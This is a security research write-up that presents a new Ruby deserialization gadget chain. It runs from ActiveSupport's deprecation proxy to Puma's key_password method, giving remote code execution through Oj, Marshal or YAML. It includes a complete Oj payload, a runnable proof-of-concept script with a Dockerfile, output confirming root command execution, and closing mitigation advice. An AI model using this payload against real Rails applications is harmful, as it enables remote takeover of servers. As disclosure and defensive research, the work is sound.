Ruby has several deserializers that will instantiate arbitrary objects with attacker-controlled instance variables. Marshal.load, YAML.unsafe_load (or YAML.load before Ruby 3.1), and Oj.load in its default mode all do this. They call allocate() to create a blank instance, then set ivars directly, skipping initialize and any validation it would normally perform.

Deserialization construction vs normal Ruby

Several gadget chains have been published over the years for these deserializers, but the one that works against modern Ruby versions routes through RubyGems internals to reach Gem::Source::Git#rev_parse for command execution. This post walks through building an alternative chain that uses ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as the trigger and Puma::MiniSSL::Context#key_password as the sink. The gadgets are format-agnostic, but I'll use Oj payloads for the examples since that's what I was testing against.

The Trigger

Object instantiation alone isn't enough. You need a method call to fire during deserialization.

When any Ruby deserializer reconstructs a Hash, it calls .hash on each key to compute its bucket. If the key is an Array, Array#hash calls .hash on each element. This happens during deserialization itself, before the result is returned.

h = {}
h[[Object.new]] = 1 # Array#hash calls .hash on each element

Trigger mechanism: Array#hash fan-out

Put an Array as a hash key, fill it with gadget objects, and Array#hash calls .hash on each one. In Oj, ^#N creates hashes with non-string keys:

Oj.load('{"^#1": [1, "one"]}')
# => {1 => "one"}

Marshal and YAML have their own syntax for the same thing. The trigger is the same regardless of format: hash key insertion calls .hash.

The Existing Chain

The GitHubSecurityLab chain uses Gem::Requirement#hash as the entry point. .hash walks @requirements, eventually reaching Gem::Source::Git#rev_parse, which calls IO.popen([@git, "rev-parse", @reference]). Since the deserializer sets @git from attacker input, it executes an arbitrary binary with controlled arguments. The payload needs two stages: first creating a cache directory via URI path traversal, then firing the command.

This chain is universal. RubyGems is loaded in every Ruby process. But it requires a two-stage payload and depends on an external binary (zip, make, or rake). As a learning exercise, I wanted to see if I could find an alternative chain using gems from the Rails ecosystem.

A New Entry Point

The existing chains reach rev_parse through a long path starting from Gem::Requirement#hash. I started looking for a shorter route from .hash to a sink.

.hash is just a method call. If a class undefines it, the call falls through to method_missing. Most classes inherit .hash from Object, so this never happens. I grep'd the Rails gem set for classes that undefine instance methods and found three:

  • ActiveSupport::Deprecation::DeprecationProxy
  • ActiveSupport::Deprecation::DeprecatedConstantProxy
  • ActiveSupport::OptionMerger

Only three classes across Rails and all its dependencies.

DeprecationProxy is the base class for DeprecatedInstanceVariableProxy:

class DeprecationProxy
instance_methods.each { |m| undef_method m unless /^__|^object_id$/.match?(m) }

def method_missing(...)
@deprecator.warn(@message, caller_locations)
target.__send__(...)
end
end

Every instance method is gone. hash, ==, to_s, class, all of it. Any call hits method_missing, which calls target.__send__(...).

The subclass defines target:

def target
@instance.__send__(@method)
end

Both @instance and @method are ivars set during deserialization.

So when Array#hash calls .hash on this proxy:

  1. .hash is undefined → method_missing(:hash) fires
  2. @deprecator.warn(...) runs, but @deprecator is an ActiveSupport::Deprecation with @silenced = true, so it returns immediately
  3. target.__send__(:hash) runs, but target() first calls @instance.__send__(@method), which is a zero-arg call to any method on any object

ActiveSupport is always loaded in Rails. This half of the chain works everywhere.

The Zero-Arg Constraint

The proxy gives us @instance.__send__(@method) with no arguments. Any zero-arg method on any object.

Kernel#system needs a command. IO.popen needs a path. eval needs a string. Every useful sink takes at least one argument.

So the question becomes: is there a zero-arg method somewhere that reaches command execution through its own ivars? The method takes no arguments, but internally reads ivars and passes them to a dangerous call. Gem::Source::Git#rev_parse is this pattern: takes no arguments, reads @git and @reference, passes them to IO.popen. I was looking for the same pattern in a gem that Rails apps load.

Searching the Ecosystem

I built a Docker image with 131 gems: the full Rails stack plus Sidekiq, Devise, Nokogiri, Puma, Faraday, GraphQL, Grape, dry-types, OmniAuth, CarrierWave, and dozens more. 6,921 Ruby source files.

I used ripgrep to search for methods that call system, exec, IO.popen, Open3.capture3, eval, or instance_eval with ivar-controlled arguments (patterns like Open3\.capture3\(@\w+\) and \.send\(@\w+). I also searched for send and public_send patterns where both the method name and arguments come from ivars.

Puma's key_password

Puma::MiniSSL::Context has a method that executes a shell command to retrieve an SSL key's decryption password:

def key_password
raise "Key password command not configured" if @key_password_command.nil?

stdout_str, stderr_str, status = Open3.capture3(@key_password_command)

return stdout_str.chomp if status.success?

raise "Key password failed with code #{status.exitstatus}: #{stderr_str}"
end

It takes no arguments, reads @key_password_command from an ivar, and passes it to Open3.capture3, which runs it through /bin/sh.

Puma has been the default Rails web server since Rails 5.0. MiniSSL::Context is defined by Puma's C extension (puma_http11) whenever OpenSSL is available at compile time, which it is on virtually every Ruby installation. When Puma boots, Binder loads minissl.rb if HAS_SSL is true, and since the C extension defines MiniSSL::Engine when compiled with OpenSSL, HAS_SSL is true by default. SSL doesn't need to be configured. The class is loaded regardless.

The Chain

Gadget chain: ActiveSupport + Puma

deserialize → Hash key insertion → Array#hash
→ DeprecatedInstanceVariableProxy.hash
→ method_missing → target()
→ @instance.__send__(@method)
where @instance = Puma::MiniSSL::Context
@method = "key_password"
→ Context#key_password
→ Open3.capture3(@key_password_command)
where @key_password_command = "id > /tmp/proof"
→ RCE

The proxy dispatches directly to the sink, so there's no bridge gadget needed.

Here's the Oj payload as an example:

{"^#1": [[
{"^c": "ActiveSupport::Deprecation"},
{"^o": "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy",
"instance": {"^o": "Puma::MiniSSL::Context",
"key_password_command": "id > /tmp/proof"},
"method": "key_password",
"var": "@x",
"deprecator": {"^o": "ActiveSupport::Deprecation", "silenced": true}}
], "any"]}
$ docker run oj-puma-poc

[+] RCE CONFIRMED via ActiveSupport + Puma chain!
[+] /tmp/proof:
uid=0(root) gid=0(root) groups=0(root)

Comparison

Gem::Source::Git chains This chain
Trigger Gem::Requirement#hash DeprecatedInstanceVariableProxy#hash
Sink IO.popen([@git, ...]) Open3.capture3(@key_password_command)
Dependencies RubyGems (always loaded) ActiveSupport + Puma
Stages 2 (mkdir + exec) 1
External binaries zip, make, or rake None (Open3 uses /bin/sh)
Coverage Universal (any Ruby process) Rails apps on Puma

The existing chains are more universal since RubyGems is present in every Ruby process, not just Rails. This chain only works in Rails apps running Puma, but in that context it's simpler: one stage, no directory creation, no external binaries.

Dead Ends

ERB. ERB#result calls eval(@src) with an ivar-controlled string. Almost too easy. But Ruby 3.x added a guard: unless @_init.equal?(self.class.singleton_class). @_init must be the exact same object as ERB's singleton class. None of the deserializers can produce singleton class references, so this is a dead end.

DRb::DRbServer::InvokeMethod. @obj.__send__(@msg_id, *@argv). Target, method, and arguments all from ivars. More powerful than the old Net::WriteAdapter since you control the args directly. Works, but DRb isn't loaded in production Rails apps.

dry-types PrivateCall. @target.send(@name, input). Target and method from ivars, but input comes from the method argument. You need a second gadget to feed controlled data into call(input), which is what Alex Leahu did for Marshal chains using EventMachine's BufferedTokenizer. Works but the chain is far more complex and requires dry-types + eventmachine.

ActiveSupport Callbacks. (@override_target || target).send(@method_name, target, &block). @override_target and @method_name are both ivars. But these live inside lambda objects invoked by the callbacks framework, not reachable from .hash.

Proc-based sinks. Lots of classes do instance_exec(&@block) or @callback.call(@data). Proc objects can't be constructed by these deserializers. They're C-backed and allocate gives you a broken instance. Every Proc-based gadget is unusable.

public_send patterns. obj.public_send(:instance_eval, "system('cmd')") is valid RCE since instance_eval is public on BasicObject. But across 6,921 files in 131 gems, no class has @obj.public_send(@method, @arg) where both come from ivars. public_send gets used in controlled delegation patterns where at least one argument comes from the caller.

PoC

exploit_puma.rb
require "oj"
require "puma"
require "puma/minissl"
require "active_support/all"

command = "id > /tmp/proof"

payload = '{"^#1": [[' \
'{"^c": "ActiveSupport::Deprecation"}, ' \
'{"^o": "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy", ' \
'"instance": {"^o": "Puma::MiniSSL::Context", ' \
'"key_password_command": "' + command + '"}, ' \
'"method": "key_password", ' \
'"var": "@x", ' \
'"deprecator": {"^o": "ActiveSupport::Deprecation", "silenced": true}}' \
'], "any"]}'

$stderr.reopen("/dev/null")
begin
Oj.load(payload)
rescue
ensure
$stderr.reopen(STDERR)
end

if File.exist?("/tmp/proof")
puts File.read("/tmp/proof")
end
Dockerfile
FROM ruby:3.3
RUN gem install oj activesupport puma
WORKDIR /poc
COPY exploit_puma.rb .
CMD ["ruby", "exploit_puma.rb"]
docker build -t oj-puma-poc .
docker run oj-puma-poc

Don't deserialize untrusted input. For Oj, use Oj.load(data, mode: :strict), Oj.safe_load(data), or just JSON.parse(data). For YAML, use YAML.safe_load instead of YAML.unsafe_load. Avoid Marshal.load on anything user-controlled.